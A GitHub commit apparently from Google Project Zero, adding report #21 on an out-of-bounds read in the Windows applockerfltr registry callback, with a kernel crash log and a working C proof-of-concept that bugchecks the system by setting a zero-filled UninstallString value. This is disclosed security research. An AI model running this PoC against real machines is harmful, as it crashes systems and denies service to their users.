Skip to content

Commit fafa988

Browse files
committed
Add report #21
1 parent 72a9d25 commit fafa988

4 files changed

Lines changed: 156 additions & 3 deletions

File tree

WinRegLowSeverityBugs/README.md

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,13 @@
11
# Microsoft Windows Registry Low/Unclear Severity Bugs
22

3-
This repository contains the descriptions and proof-of-concept exploits of 20 issues with low or unclear security impact found in the Windows Registry. They were reported to Microsoft between November 2023 and January 2024. Six of them were fixed by the vendor in the March 2024 Patch Tuesday, while the other fourteen were closed as WontFix/vNext. The bugs were identified during my registry research in 2022-2024, alongside the [39 vulnerabilities](https://bugs.chromium.org/p/project-zero/issues/list?q=finder%3Amjurczyk%20product%3Akernel%20opened%3E2022-05-01%20opened%3C2024-01-01&can=1) filed in the Project Zero bug tracker with the 90-day deadline.
3+
This repository contains the descriptions and proof-of-concept exploits of 21 issues with low or unclear security impact found in the Windows Registry. They were reported to Microsoft between November 2023 and February 2025. Six of them were fixed by the vendor in the March 2024 Patch Tuesday, while the other fifteen were closed as WontFix/vNext. The bugs were identified during my registry research in 2022-2025, alongside the [42 reports](https://project-zero.issues.chromium.org/issues?q=customfield1352808:Microsoft%20customfield1352754:mjurczyk%20created%3E2022-05-01%20created%3C2024-12-31) filed in the Project Zero bug tracker with a 90-day disclosure deadline.
44

5-
For more information about the research, please see the blog post series starting with [The Windows Registry Adventure #1: Introduction and research results](https://googleprojectzero.blogspot.com/2024/04/the-windows-registry-adventure-1.html), as well as the [Exploring the Windows Registry as a powerful LPE attack surface](https://j00ru.vexillium.org/talks/bluehat-exploring-the-windows-registry-as-a-powerful-lpe-attack-surface/) presentation from BlueHat Redmond 2023. At the time of this writing, further talks about the registry are planned this year at [OffensiveCon](https://www.offensivecon.org/), [CONFidence](https://confidence-conference.org/) and [REcon](https://recon.cx/).
5+
For more information about the research, please see the blog post series starting with [The Windows Registry Adventure #1: Introduction and research results](https://googleprojectzero.blogspot.com/2024/04/the-windows-registry-adventure-1.html), as well as several conference talks I have given on the subject:
6+
7+
* [Exploring the Windows Registry as a powerful LPE attack surface](https://j00ru.vexillium.org/talks/bluehat-exploring-the-windows-registry-as-a-powerful-lpe-attack-surface/) (BlueHat Redmond 2023)
8+
* [Practical Exploitation of Registry Vulnerabilities in the Windows Kernel](https://j00ru.vexillium.org/talks/offensivecon-practical-exploitation-of-windows-registry-vulnerabilities/) (OffensiveCon 2024)
9+
* [Windows Registry Deja Vu: The Return of Confused Deputies](https://j00ru.vexillium.org/talks/confidence-windows-registry-deja-vu-the-return-of-confused-deputies/) (CONFidence 2024)
10+
* [Peeling Back the Windows Registry Layers: A Bug Hunter’s Expedition](https://j00ru.vexillium.org/talks/recon-peeling-back-the-windows-registry-layers/) (REcon 2024)
611

712
The issues are summarized in the table below:
813

@@ -28,3 +33,4 @@ ID|Title|Status|CVE
2833
18|[Windows Kernel returns success in an error path of HvCheckBin during registry hive sanitization](Reports/18\_HvCheckBin\_incorrect\_return\_value)|WontFix/vNext|-
2934
19|[Windows Kernel VRegDriver registry callback doesn't handle key renaming](Reports/19\_VrpRegistryCallback\_unhandled\_key\_rename)|WontFix/vNext|-
3035
20|[Windows Kernel enforcement of registry app hive security is inconsistent with documentation](Reports/20\_App\_hive\_security\_inconsistencies)|WontFix/vNext|-
36+
21|[Windows Kernel out-of-bounds reads and other issues in applockerfltr!SmpRegistryCallback](Reports/21\_Applockerfltr\_callback\_OOB_read)|WontFix/vNext|-

WinRegLowSeverityBugs/Reports/14_HKCU_TypingInsights_permissive_access_rights/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,7 @@ D:(A;CIOI;KRKW;;;SY)(A;CIOI;KRKW;;;BU)(A;CIOI;KRKW;;;AU)(A;CIOI;KRKW;;;AC)
3131
This doesn't seem to have a huge security impact on the surface, as the `TypingInsights` key doesn't store particularly sensitive information. In itself, it could likely only be abused to either disclose a user's typing insights numbers, or modify those statistics. However, this behavior also has some indirect security implications:
3232

3333
- A malicious local user can persistently exhaust the maximum 2 GiB space of another user's hive by creating many long values in the `TypingInsights` key, thus preventing other legitimate applications run by that user from effectively operating on HKCU. Furthermore, due to the global 4 GiB quota enforced on the total registry memory consumption in Windows, if other large hives are loaded in the system, then inflating another user's hive may prevent them from being able to log in to their account in the future.
34-
- Similarly, permissive rights set on a key in HKCU also enable access to the corresponding key via all differencing hives that are mounted on top of it, i.e. the hives under `\Registry\WC\Silo\<SID>user_sid` loaded on behalf of programs running in an Application Silo. This again makes it possible to fill them up to their maximum capacity and thus prevent the applications from running correctly.
34+
- Similarly, permissive rights set on a key in HKCU also enable access to the corresponding key via all differencing hives that are mounted on top of it, i.e. the hives under `\Registry\WC\Silo<SID>user_sid` loaded on behalf of programs running in an Application Silo. This again makes it possible to fill them up to their maximum capacity and thus prevent the applications from running correctly.
3535
- Lastly, world-writable keys present in HKCU may create a convenient foothold for exploiting more serious, registry-specific vulnerabilities. By opening a key with the rights to create values and subkeys, the specific hive becomes open to a significant attack surface related to symbolic links, registry virtualization, transactions, layered keys and so on. We believe it is a worthwhile defense-in-depth approach to keep the user hives strictly protected, to prevent unauthorized local users from being able to open writable handles to others' HKCUs and from being able to execute potential cross-user attacks as a result.
3636

3737
This report outlines findings that fall outside of Project Zero's standard 90-day disclosure policy due to their unclear or low security impact. While we strive to assess security issues accurately, if you suspect anything in this report poses a significant risk, please contact us immediately to request a 90-day disclosure deadline. Please note that reports without a disclosure deadline may be discussed or referenced publicly in the future. We will make an effort to inform you in advance if this occurs.
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
# Windows Kernel out-of-bounds reads and other issues in applockerfltr!SmpRegistryCallback
2+
3+
The applockerfltr.sys driver is one of the default drivers present in a standard Windows 10/11 installation, and is related to the AppLocker / Smart App Control functionality. It registers a registry callback named SmpRegistryCallback, which is responsible for monitoring the registry for changes to values named "UninstallString" within several specific paths like \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall and several others. Once it detects a RegNtPreSetValueKey operation with the right name and a type of REG_SZ/REG_EXPAND_SZ, it proceeds to remove all trailing null characters from the end of the value's data buffer, as illustrated in the C-like pseudo code below:
4+
5+
```c
6+
NTSTATUS SmpRegistryCallback(REG_NOTIFY_CLASS NotifyClass, REG_SET_VALUE_KEY_INFORMATION *KeyInfo)
7+
{
8+
// ...
9+
10+
USHORT DataSize = (USHORT)KeyInfo->DataSize;
11+
PWCHAR Data = KeyInfo->Data;
12+
13+
if (DataSize < 4) {
14+
return STATUS_SUCCESS;
15+
}
16+
17+
UNICODE_STRING StrippedDataString;
18+
StrippedDataString.MaximumLength = DataSize;
19+
StrippedDataString.Buffer = Data;
20+
21+
while (Data[(DataSize / 2) - 1] == 0) {
22+
DataSize--;
23+
}
24+
25+
StrippedDataString.Length = DataSize;
26+
27+
// ...
28+
}
29+
```
30+
31+
As we can see, the problem with the 'while' loop is that its only exit condition is one of the characters in the data buffer being non-zero. But this is not guaranteed, and a local attacker can pass an input buffer filled solely with zeros. As a result, when the DataSize variable reaches a value of zero, the code starts to access out-of-bounds memory, first at offset -1 of the array, and then possibly, if DataSize underflows, offsets 0x7FFE, 0x7FFD, and so on. If the entire 64 KiB region pointed to by `Data` is filled with zeros, the loop can execute indefinitely. However, if a non-zero 16-bit character is encountered somewhere in the out-of-bounds data, the kernel exits the loop with `DataSize` set to an inadequately large value, which is then assigned to `StrippedDataString.Length`. If several other conditions are met, the `StrippedDataString` object is passed further down to applockerfltr!SmRegisterUninstallStringWithSessionOrigin -> applockerfltr!SmAllocUninstallStringData -> appid!AiAllocUninstallStringData, where a copy of the invalid string is made and stored in the internal AppID data structures. The end result of the bug is an OOB read from the kernel stack or the kernel pools (depending on the length of the data and where the NtSetValueKey syscall handler allocates it), but it is not entirely clear to me if/how the OOB data could find its way back to an unprivileged user to allow for memory disclosure.
32+
33+
In addition to the missing exit condition in the 'while' loop, there are a few other minor issues in the same function:
34+
35+
1) There is no verification that DataSize is even, but the routine itself and various unicode-related helpers rely on it, so it should be checked early in the callback execution.
36+
2) The REG_SET_VALUE_KEY_INFORMATION.DataSize field is immediately cast to the 16-bit USHORT type, but it is in fact a 32-bit member whose value may easily exceed the 16-bit integer range. This could possibly lead to some memory safety issues in the future.
37+
3) Further in the function, the driver obtains the key's full path using the CmCallbackGetKeyObjectID API, and checks whether it falls within one of four specific paths. But two of the four template paths are \REGISTRY\USER\Software\Microsoft\Windows\CurrentVersion\Uninstall and \REGISTRY\USER\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall, which are obviously invalid, because they are missing the user's SID string that always goes between the "USER" and "Software" components of the path. It is a functional bug that causes these two locations to not be effectively monitored.
38+
39+
Attached is a proof-of-concept exploit for the main issue described in this report, the out-of-bounds read. It has been successfully tested on Windows 11 24H2 (February 2025 update, build 26100.3194). It works by creating a volatile "Test" key in the user's HKCU, and trying to set a value named "UninstallString" filled with 0x1000004 (~16 MiB) zero bytes. In my test environment, the operation is intercepted by applockerfltr's callback, and a system crash occurs when attempting to dereference index -1 of the Data array. An example crash log is shown below:
40+
41+
```
42+
*******************************************************************************
43+
* *
44+
* Bugcheck Analysis *
45+
* *
46+
*******************************************************************************
47+
48+
PAGE_FAULT_IN_NONPAGED_AREA (50)
49+
Invalid system memory was referenced. This cannot be protected by try-except.
50+
Typically the address is just plain bad or it is pointing at freed memory.
51+
Arguments:
52+
Arg1: ffffe18d7efffffe, memory referenced.
53+
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
54+
Arg3: fffff801807474d8, If non-zero, the instruction address which referenced the bad memory
55+
address.
56+
Arg4: 0000000000000002, (reserved)
57+
58+
[...]
59+
60+
TRAP_FRAME: fffffe09a96d8500 -- (.trap 0xfffffe09a96d8500)
61+
NOTE: The trap frame does not contain all registers.
62+
Some register values may be zeroed or incorrect.
63+
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000
64+
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
65+
rip=fffff801807474d8 rsp=fffffe09a96d8690 rbp=fffffe09a96d86e0
66+
r8=ffffe18d7f000000 r9=fffff80180743560 r10=fffff801eaec0960
67+
r11=ffffad8460cb0080 r12=0000000000000000 r13=0000000000000000
68+
r14=0000000000000000 r15=0000000000000000
69+
iopl=0 nv up ei pl zr na po nc
70+
applockerfltr!SmpRegistryCallback+0xc8:
71+
fffff801`807474d8 6645396440fe cmp word ptr [r8+rax*2-2],r12w ds:ffffe18d`7efffffe=????
72+
Resetting default scope
73+
74+
STACK_TEXT:
75+
fffffe09`a96d7a68 fffff801`eab70812 : fffffe09`a96d7ae8 00000000`00000001 00000000`00000080 fffff801`eac92a01 : nt!DbgBreakPointWithStatus
76+
fffffe09`a96d7a70 fffff801`eab6fd3c : 00000000`00000003 fffffe09`a96d7bd0 fffff801`eac92bf0 fffffe09`a96d8190 : nt!KiBugCheckDebugBreak+0x12
77+
fffffe09`a96d7ad0 fffff801`eaab8567 : 00000000`00000000 fffff801`ea8d482a ffffe18d`7efffffe 00000000`00000003 : nt!KeBugCheck2+0xb2c
78+
fffffe09`a96d8260 fffff801`ea8d3c85 : 00000000`00000050 ffffe18d`7efffffe 00000000`00000000 fffffe09`a96d8500 : nt!KeBugCheckEx+0x107
79+
fffffe09`a96d82a0 fffff801`ea87a51f : ffffe18d`7efffffe 00000000`00001000 00000000`00000002 fffff801`ea600000 : nt!MiSystemFault+0x735
80+
fffffe09`a96d8390 fffff801`eac880cb : 00000000`00000001 00000000`00000000 fffffe09`a96d8631 fffff801`eaa0d789 : nt!MmAccessFault+0x2ff
81+
fffffe09`a96d8500 fffff801`807474d8 : fffffe09`a96d8980 fffffe09`a96d86e0 00000000`00000000 ffffe18d`79dbcdc0 : nt!KiPageFault+0x38b
82+
fffffe09`a96d8690 fffff801`eae2ae3e : ffffe18d`7e58b390 fffffe09`a96d8b00 00000000`00000001 00000000`00000000 : applockerfltr!SmpRegistryCallback+0xc8
83+
fffffe09`a96d8720 fffff801`eae67926 : 00000000`00000001 fffffe09`a96d8980 00000000`00000000 ffffad84`628cf001 : nt!CmpCallCallBacksEx+0x6ce
84+
fffffe09`a96d8830 fffff801`eac8c555 : 00000000`00000000 00000000`00000019 00000000`00000000 00000000`00000000 : nt!NtSetValueKey+0x5d6
85+
fffffe09`a96d8a70 00007ffb`4cf403c4 : 00007ffb`4a3a662a 00000000`000f003f 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
86+
0000000c`94d0fb58 00007ffb`4a3a662a : 00000000`000f003f 00000000`00000000 00000000`00000000 0000000c`94d0fcd0 : ntdll!NtSetValueKey+0x14
87+
0000000c`94d0fb60 00007ffb`4a3a6284 : 00000000`00000000 00000000`00000000 00000000`00000000 0000019e`8f9fc040 : KERNELBASE!BaseRegSetValueInternal+0x13a
88+
0000000c`94d0fbf0 00007ff6`ceaf1136 : 00000000`000000e8 0000019e`8f9fc040 00000000`00000000 00000000`00000000 : KERNELBASE!RegSetValueExW+0x2b4
89+
0000000c`94d0fc80 00000000`000000e8 : 0000019e`8f9fc040 00000000`00000000 00000000`00000000 0000019e`8f9fc040 : ApplockerfltrCrash+0x1136
90+
0000000c`94d0fc88 0000019e`8f9fc040 : 00000000`00000000 00000000`00000000 0000019e`8f9fc040 1f8bfbff`01000004 : 0xe8
91+
0000000c`94d0fc90 00000000`00000000 : 00000000`00000000 0000019e`8f9fc040 1f8bfbff`01000004 00000000`00000000 : 0x0000019e`8f9fc040
92+
```
93+
94+
This report outlines findings that fall outside of Project Zero's standard 90-day disclosure policy due to their unclear or low security impact. While we strive to assess security issues accurately, if you suspect anything in this report poses a significant risk, please contact us immediately to request a 90-day disclosure deadline. Please note that reports without a disclosure deadline may be discussed or referenced publicly in the future. We will make an effort to inform you in advance if this occurs.
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#include <Windows.h>
2+
#include <cstdio>
3+
4+
int main() {
5+
LSTATUS st;
6+
7+
//
8+
// Create a volatile key for testing.
9+
//
10+
11+
HKEY hTestKey;
12+
st = RegCreateKeyExW(HKEY_CURRENT_USER,
13+
L"Test",
14+
0,
15+
NULL,
16+
REG_OPTION_VOLATILE,
17+
KEY_ALL_ACCESS,
18+
NULL,
19+
&hTestKey,
20+
NULL);
21+
22+
if (st != ERROR_SUCCESS) {
23+
printf("RegCreateKeyExW failed with error %d\n", st);
24+
return 1;
25+
}
26+
27+
//
28+
// Try to trigger the bug by setting the "UninstallString" value to a long
29+
// string filled with zeros.
30+
//
31+
32+
CONST DWORD kDataSize = 0x1000004;
33+
PVOID Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, kDataSize);
34+
35+
st = RegSetValueExW(hTestKey,
36+
L"UninstallString",
37+
0,
38+
REG_SZ,
39+
(const BYTE*)Buffer,
40+
kDataSize);
41+
42+
if (st != ERROR_SUCCESS) {
43+
printf("RegSetValueExW failed with error %d\n", st);
44+
return 1;
45+
}
46+
47+
printf("Done!\n");
48+
49+
HeapFree(GetProcessHeap(), 0, Buffer);
50+
RegCloseKey(hTestKey);
51+
52+
return 0;
53+
}

0 commit comments

Comments
 (0)